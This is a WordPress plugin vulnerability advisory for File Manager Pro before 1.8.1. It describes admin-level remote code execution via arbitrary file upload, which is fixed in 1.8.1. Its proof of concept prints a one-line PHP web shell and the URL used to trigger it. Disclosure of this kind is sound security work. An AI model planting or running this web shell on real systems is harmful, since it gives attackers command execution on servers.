WordPress Plugin Vulnerabilities

File Manager Pro < 1.8.1 - Admin+ Remote Code Execution

Description

The plugin allows admin users to upload arbitrary files, even in environments where such a user should not be able to gain full control of the server, such as a multisite installation. This leads to remote code execution.

Proof of Concept

As an admin, use the File Manager UI to upload a file `shell.php` with the following contents:

<?php echo system($_GET['cmd']);

Visit `/shell.php?cmd=id` to trigger RCE.

Affects Plugins

Fixed in 1.8.1

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Original Researcher
Alex Sanford
Submitter
Alex Sanford
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-09-19 (about 7 months ago)
Added
2023-09-19 (about 7 months ago)
Last Updated
2023-09-19 (about 7 months ago)

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